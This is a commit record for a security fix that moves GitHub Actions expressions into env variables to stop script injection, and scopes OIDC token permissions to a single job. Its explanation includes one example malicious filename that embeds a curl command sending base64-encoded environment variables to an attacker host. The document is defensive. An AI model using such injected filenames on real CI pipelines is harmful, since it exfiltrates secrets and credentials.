)]}'
{
  "commit": "f7cc798664fa30d578b45f32d23b6655bc1d5d12",
  "tree": "0d813964500560772f94866578000a67c8968819",
  "parents": [
    "548dce5c51c8f1d7996337040f47d28a7d136fbb"
  ],
  "author": {
    "name": "herdiyanitdev",
    "email": "82978131+herdiyana256@users.noreply.github.com",
    "time": "Wed Jul 08 23:18:25 2026 +0700"
  },
  "committer": {
    "name": "GitHub",
    "email": "noreply@github.com",
    "time": "Wed Jul 08 18:18:25 2026 +0200"
  },
  "message": "fix(terraform): prevent script injection via env var isolation (#2679)\n\n## Summary\nAudit of `.github/workflows/` identified two files where GitHub Actions\nexpressions (`${{ }}`) are interpolated directly into bash `run:`\nscripts. This is the script injection class documented by [GitHub\nSecurity\nLab](https://securitylab.github.com/research/github-actions-untrusted-input/).\n\nThis PR applies the recommended mitigation across all affected steps:\npass expression values through `env:` block variables instead of inline\ninterpolation. When assigned via `env:`, the value is treated as a plain\nstring by the shell — metacharacters are never evaluated as commands.\n\n---\n\n## Files Changed\n### 1. `.github/workflows/terraform.yml` — **Critical** (3 fixes)\n\n**Fix 1 - Env var isolation for `tj-actions/changed-files` outputs**\n\nThe `Extract Orgs` step interpolated action outputs directly into bash:\n\n```yaml\n# BEFORE (vulnerable):\nrun: |\n  CHANGED\u003d\"${{ steps.changed-files.outputs.all_changed_files }}\"\n  DELETED\u003d\"${{ steps.changed-files.outputs.deleted_files }}\"\ntj-actions/changed-files outputs filenames from the PR branch — fully attacker-controlled. A filename like: buildkite/terraform/bazel/$(curl https://attacker.com/exfil?d\u003d$(env|base64)) would be evaluated as a shell command by bash.\n\n# AFTER (safe):\nenv:\n  ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}\n  ALL_DELETED_FILES: ${{ steps.changed-files.outputs.deleted_files }}\nrun: |\n  CHANGED\u003d\"$ALL_CHANGED_FILES\"\n  DELETED\u003d\"$ALL_DELETED_FILES\"\n\nFix 2 - Scope id-token: write to terraform job only\nid-token: write was set at workflow level, making OIDC tokens available to all jobs including detect-changes which processes untrusted filenames. Moved to job-level permissions on terraform only.\n# BEFORE: id-token: write at workflow level → detect-changes also gets OIDC\npermissions:\n  contents: read\n  id-token: write\n  pull-requests: write\n\n# AFTER: workflow-level has minimum permissions\npermissions:\n  contents: read\n  pull-requests: write\n\nterraform:\n  permissions:\n    contents: read\n    id-token: write  # ← only this job needs GCP WIF\n\n2. .github/workflows/release-rules.yml — Low (2 fixes)\nTwo inline ${{ }} expressions in run: blocks replaced with env vars:\n- ${{ env.RULES_VERSION }} in the version echo step\n- ${{ needs.create-release.outputs.rules_version }} in the staging dir name\n\nReferences\n- https://securitylab.github.com/research/github-actions-untrusted-input/\n- go/github-security\n\nCo-authored-by: Salma Samy \u003c16399431+SalmaSamy@users.noreply.github.com\u003e",
  "tree_diff": [
    {
      "type": "modify",
      "old_id": "17cab41736f55bd0f4cd1111b8b15aad49b6b328",
      "old_mode": 33188,
      "old_path": ".github/workflows/release-rules.yml",
      "new_id": "49e278a0ecd12a5133457a484ee5ce25cad411ac",
      "new_mode": 33188,
      "new_path": ".github/workflows/release-rules.yml"
    },
    {
      "type": "modify",
      "old_id": "18d9676072c8fb1e7693330a6cb1b193ab172ecc",
      "old_mode": 33188,
      "old_path": ".github/workflows/terraform.yml",
      "new_id": "febe9a097852b066bdb4240804834cb742fc615b",
      "new_mode": 33188,
      "new_path": ".github/workflows/terraform.yml"
    }
  ]
}